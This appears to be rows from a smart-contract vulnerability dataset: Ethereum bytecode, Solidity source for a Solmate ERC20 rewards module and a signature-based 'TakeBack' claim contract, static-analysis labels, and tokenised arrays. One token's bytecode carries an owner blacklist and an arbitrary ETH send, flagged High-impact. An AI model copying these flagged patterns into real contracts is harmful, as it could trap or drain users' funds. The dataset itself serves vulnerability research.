546040516001600160a01b0390911681526020016101ad565b34801561035f57600080fd5b50604080518082019091526009815268564f4f444f4f41504560b81b60208201526101a0565b34801561039157600080fd5b5061016f6103a036600461174f565b6107b2565b3480156103b157600080fd5b5061016f6107ef565b3480156103c657600080fd5b506101d66103d53660046116e2565b610a89565b3480156103e657600080fd5b506101d66103f5366004611768565b60056020526000908152604090205460ff1681565b34801561041657600080fd5b506101f7610425366004611785565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045c57600080fd5b5061016f610a96565b34801561047157600080fd5b50600a546101f7565b60005b81518110156105a057600b5482516001600160a01b03909116908390839081106104a9576104a96117be565b60200260200101516001600160a01b0316141580156104fa5750600c5482516001600160a01b03909116908390839081106104e6576104e66117be565b60200260200101516001600160a01b031614155b80156105315750306001600160a01b031682828151811061051d5761051d6117be565b60200260200101516001600160a01b031614155b1561058e5760016005600084848151811061054e5761054e6117be565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610598816117ea565b91505061047d565b5050565b60006105b1338484610bf5565b5060015b92915050565b60006105c8848484610d19565b61061a843361061585604051806060016040528060288152602001611987602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061114a565b610bf5565b5060019392505050565b6000546001600160a01b031633146106575760405162461bcd60e51b815260040161064e90611803565b60405180910390fd5b600a54811161066557600080fd5b600a55565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161064e90611803565b60095481116106a257600080fd5b600955565b6000546001600160a01b031633146106d15760405162461bcd60e51b815260040161064e90611803565b6001600160a01b03166000908152600560205260409020805460ff19169055565b476106fc81611184565b50565b6000546001600160a01b031633146107295760405162461bcd60e51b815260040161064e90611803565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161064e90611803565b600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107dc5760405162461bcd60e51b815260040161064e90611803565b60075481106107ea57600080fd5b600755565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161064e90611803565b600c54600160a01b900460ff16156108735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161064e565b600b546006546108909130916001600160a01b0390911690610bf5565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611838565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190611838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fe9190611838565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fc9190611855565b60006105b1338484610d19565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161064e90611803565b600b546001600160a01b031663f305d7194730610af2816001600160a01b031660009081526002602052604090205490565b600080610b076000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b949190611877565b5050600c805460ff60b01b1916600160b01b17905550565b6000610bee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111be565b9392505050565b6001600160a01b038316610c575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6001600160a01b038216610cb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d7d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064e565b6001600160a01b038216610ddf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064e565b60008111610e415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064e565b6001600160a01b03831660009081526005602052604090205460ff16158015610e8357506001600160a01b03821660009081526005602052604090205460ff16155b610ecf5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161064e565b6000546001600160a01b03848116911614801590610efb57506000546001600160a01b03838116911614155b156110e957600c546001600160a01b038481169116148015610f2b5750600b546001600160a01b03838116911614155b8015610f5057506001600160a01b03821660009081526004602052604090205460ff16155b1561107157600954811115610fa75760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161064e565b600c54600160a01b900460ff16610ff65760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b604482015260640161064e565b600a5481611019846001600160a01b031660009081526002602052604090205490565b61102391906118a5565b11156110715760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161064e565b30600090815260026020526040902054600c54600160a81b900460ff161580156110a95750600c546001600160a01b03858116911614155b80156110be5750600c54600160b01b900460ff165b156110e7576110cc816111ec565b476706f05b59d3b2000081106110e5576110e547611184565b505b505b6001600160a01b0382166000908152600460205260409020546111459084908490849060ff168061113257506001600160a01b03871660009081526004602052604090205460ff165b61113e57600754611366565b6000611366565b505050565b6000818484111561116e5760405162461bcd60e51b815260040161064e919061168d565b50600061117b84866118bd565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105a0573d6000803e3d6000fd5b600081836111df5760405162461bcd60e51b815260040161064e919061168d565b50600061117b84866118d4565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611234576112346117be565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190611838565b816001815181106112c4576112c46117be565b6001600160a01b039283166020918202929092010152600b546112ea9130911684610bf5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113239085906000908690309042906004016118f6565b600060405180830381600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600061137d6064611377858561146a565b90610bac565b9050600061138b84836114ec565b6001600160a01b0387166000908152600260205260409020549091506113b190856114ec565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546113e0908261152e565b6001600160a01b03861660009081526002602052604080822092909255308152205461140c908361152e565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008260000361147c575060006105b5565b60006114888385611967565b90508261149585836118d4565b14610bee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064e565b6000610bee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114a565b60008061153b83856118a5565b905083811015610bee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106fc57600080fd5b80356115c3816115a3565b919050565b600060208083850312156115db57600080fd5b823567ffffffffffffffff808211156115f357600080fd5b818501915085601f83011261160757600080fd5b8135818111156116195761161961158d565b8060051b604051601f19603f8301168101818110858211171561163e5761163e61158d565b60405291825284820192508381018501918883111561165c57600080fd5b938501935b8285101561168157611672856115b8565b84529385019392850192611661565b98975050505050505050565b600060208083528351808285015260005b818110156116ba5785810183015185820160400152820161169e565b818111156116cc576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156116f557600080fd5b8235611700816115a3565b946020939093013593505050565b60008060006060848603121561172357600080fd5b833561172e816115a3565b9250602084013561173e816115a3565b929592945050506040919091013590565b60006020828403121561176157600080fd5b5035919050565b60006020828403121561177a57600080fd5b8135610bee816115a3565b6000806040838503121561179857600080fd5b82356117a3816115a3565b915060208301356117b3816115a3565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117fc576117fc6117d4565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561184a57600080fd5b8151610bee816115a3565b60006020828403121561186757600080fd5b81518015158114610bee57600080fd5b60008060006060848603121561188c57600080fd5b8351925060208401519150604084015190509250925092565b600082198211156118b8576118b86117d4565b500190565b6000828210156118cf576118cf6117d4565b500390565b6000826118f157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119465784516001600160a01b031683529383019391830191600101611921565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611981576119816117d4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079babfa44c367e5e60ee647d80360dc3484d7ca458698d0d68924a27c9e651ce64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 10790, 7011, 2620, 2546, 14526, 2581, 2497, 2509, 2497, 2581, 2546, 2620, 2620, 2278, 2620, 10790, 2509, 2063, 2683, 2683, 2278, 2683, 2487, 2546, 2575, 19841, 2278, 2620, 2581, 16048, 2683, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 21768, 24065, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2260, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1063, 3853, 3443, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1007, 6327, 5651, 1006, 4769, 3940, 1007, 1025, 1065, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 22494, 3334, 2692, 2475, 1063, 3853, 19948, 10288, 18908, 18715, 6132, 29278, 11031, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,020
0x9612185e78c70c983a7deb2b3f46208e04b65c44
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.10; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol) /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. library SafeTransferLib { /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address to, uint256 amount) internal { bool callStatus; assembly { // Transfer the ETH and store if it succeeded or not. callStatus := call(gas(), to, amount, 0, 0, 0, 0) } require(callStatus, "ETH_TRANSFER_FAILED"); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferFrom( ERC20 token, address from, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument. mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 100 because the calldata length is 4 + 32 * 3. callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED"); } function safeTransfer( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED"); } function safeApprove( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED"); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPER LOGIC //////////////////////////////////////////////////////////////*/ function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) { assembly { // Get how many bytes the call returned. let returnDataSize := returndatasize() // If the call reverted: if iszero(callStatus) { // Copy the revert message into memory. returndatacopy(0, 0, returnDataSize) // Revert with the same message. revert(0, returnDataSize) } switch returnDataSize case 32 { // Copy the return data into memory. returndatacopy(0, 0, returnDataSize) // Set success to whether it returned true. success := iszero(iszero(mload(0))) } case 0 { // There was no return data. success := 1 } default { // It returned some malformed output. success := 0 } } } } /** @title Rewards Module for Flywheel @notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market. Different module strategies include: * a static reward rate per second * a decaying reward rate * a dynamic just-in-time reward stream * liquid governance reward delegation */ interface IFlywheelRewards { function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards); } /** @title Flywheel Dynamic Reward Stream @notice Determines rewards based on how many reward tokens appeared in the market itself since last accrual. All rewards are transferred atomically, so there is no need to use the last reward timestamp. */ contract FlywheelDynamicRewards is IFlywheelRewards { using SafeTransferLib for ERC20; /// @notice the reward token paid ERC20 public immutable rewardToken; /// @notice the flywheel core contract address public immutable flywheel; constructor(ERC20 _rewardToken, address _flywheel) { rewardToken = _rewardToken; flywheel = _flywheel; } /** @notice calculate and transfer accrued rewards to flywheel core @param market the market to accrue rewards for @return amount the amount of tokens accrued and transferred */ function getAccruedRewards(ERC20 market, uint32) external override returns (uint256 amount) { require(msg.sender == flywheel, "!flywheel"); rewardToken.safeTransferFrom(address(market), flywheel, amount = rewardToken.balanceOf(address(market))); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80637acf5b9214610046578063b334db7b1461008a578063f7c618c1146100ab575b600080fd5b61006d7f000000000000000000000000f6f5a326212672b8e4dd93704fcf3554f1e34d7e81565b6040516001600160a01b0390911681526020015b60405180910390f35b61009d610098366004610306565b6100d2565b604051908152602001610081565b61006d7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b6000336001600160a01b037f000000000000000000000000f6f5a326212672b8e4dd93704fcf3554f1e34d7e161461013d5760405162461bcd60e51b815260206004820152600960248201526808599b1e5dda19595b60ba1b60448201526064015b60405180910390fd5b6040516370a0823160e01b81526001600160a01b0384811660048301526102259185917f000000000000000000000000f6f5a326212672b8e4dd93704fcf3554f1e34d7e917f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52909116906370a0823190602401602060405180830381865afa1580156101cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101f19190610354565b93506001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd521691908461022b565b92915050565b60006040516323b872dd60e01b81526001600160a01b03851660048201526001600160a01b038416602482015282604482015260008060648360008a5af1915050610275816102bf565b6102b85760405162461bcd60e51b81526020600482015260146024820152731514905394d1915497d19493d357d1905253115160621b6044820152606401610134565b5050505050565b60003d826102d157806000803e806000fd5b80602081146102e95780156102fa57600092506102ff565b816000803e600051151592506102ff565b600192505b5050919050565b6000806040838503121561031957600080fd5b82356001600160a01b038116811461033057600080fd5b9150602083013563ffffffff8116811461034957600080fd5b809150509250929050565b60006020828403121561036657600080fd5b505191905056fea264697066735822122056fd54aadee421f75ffe5ba9d38f852ab5f00cca075fe7091e202aa2c9b573a064736f6c634300080a0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 12521, 15136, 2629, 2063, 2581, 2620, 2278, 19841, 2278, 2683, 2620, 2509, 2050, 2581, 3207, 2497, 2475, 2497, 2509, 2546, 21472, 11387, 2620, 2063, 2692, 2549, 2497, 26187, 2278, 22932, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 1013, 1013, 1013, 1030, 5060, 2715, 1998, 3806, 8114, 9413, 2278, 11387, 1009, 1041, 11514, 1011, 24441, 2475, 7375, 1012, 1013, 1013, 1013, 1030, 3166, 14017, 8585, 1006, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 10958, 3089, 1011, 3007, 1013, 14017, 8585, 1013, 1038, 4135, 2497, 1013, 2364, 1013, 5034, 2278, 1013, 19204, 2015, 1013, 9413, 2278, 11387, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,021
0x9612746e023fc19fad80d019d1a49e4b449d9fba
pragma solidity ^0.4.23; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/TakeBack.sol contract TakeBack is Ownable{ // address of RING.sol on ethereum address public tokenAdd; address public supervisor; uint256 public networkId; mapping (address => uint256) public userToNonce; // used for old&new users to claim their ring out event TakedBack(address indexed _user, uint indexed _nonce, uint256 _value); // used for supervisor to claim all kind of token event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); constructor(address _token, address _supervisor, uint256 _networkId) public { tokenAdd = _token; supervisor = _supervisor; networkId = _networkId; } // _hashmessage = hash("${_user}${_nonce}${_value}") // _v, _r, _s are from supervisor's signature on _hashmessage // claimRing(...) is invoked by the user who want to claim rings // while the _hashmessage is signed by supervisor function takeBack(uint256 _nonce, uint256 _value, bytes32 _hashmessage, uint8 _v, bytes32 _r, bytes32 _s) public { address _user = msg.sender; // verify the _nonce is right require(userToNonce[_user] == _nonce); // verify the _hashmessage is signed by supervisor require(supervisor == verify(_hashmessage, _v, _r, _s)); // verify that the _user, _nonce, _value are exactly what they should be require(keccak256(abi.encodePacked(_user,_nonce,_value,networkId)) == _hashmessage); // transfer token from address(this) to _user ERC20 token = ERC20(tokenAdd); token.transfer(_user, _value); // after the claiming operation succeeds userToNonce[_user] += 1; emit TakedBack(_user, _nonce, _value); } function verify(bytes32 _hashmessage, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = "\x19EvolutionLand Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashmessage)); address signer = ecrecover(prefixedHash, _v, _r, _s); return signer; } function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); emit ClaimedTokens(_token, owner, balance); } function changeSupervisor(address _newSupervisor) public onlyOwner { supervisor = _newSupervisor; } }
0x6080604052600436106100a35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166356e4b68b81146100a8578063715018a6146100d95780638da5cb5b146100f05780639025e64c14610105578063d87a794f1461012c578063df8de3e71461014d578063e29f99f01461016e578063e4cdf3cc14610183578063ee0c0346146101ad578063f2fde38b146101ce575b600080fd5b3480156100b457600080fd5b506100bd6101ef565b60408051600160a060020a039092168252519081900360200190f35b3480156100e557600080fd5b506100ee6101fe565b005b3480156100fc57600080fd5b506100bd61026a565b34801561011157600080fd5b5061011a610279565b60408051918252519081900360200190f35b34801561013857600080fd5b5061011a600160a060020a036004351661027f565b34801561015957600080fd5b506100ee600160a060020a0360043516610291565b34801561017a57600080fd5b506100bd610478565b34801561018f57600080fd5b506100ee60043560243560443560ff6064351660843560a435610487565b3480156101b957600080fd5b506100ee600160a060020a0360043516610693565b3480156101da57600080fd5b506100ee600160a060020a03600435166106d9565b600254600160a060020a031681565b600054600160a060020a0316331461021557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b60035481565b60046020526000908152604090205481565b600080548190600160a060020a031633146102ab57600080fd5b600160a060020a03831615156102fc5760008054604051600160a060020a0390911691303180156108fc02929091818181858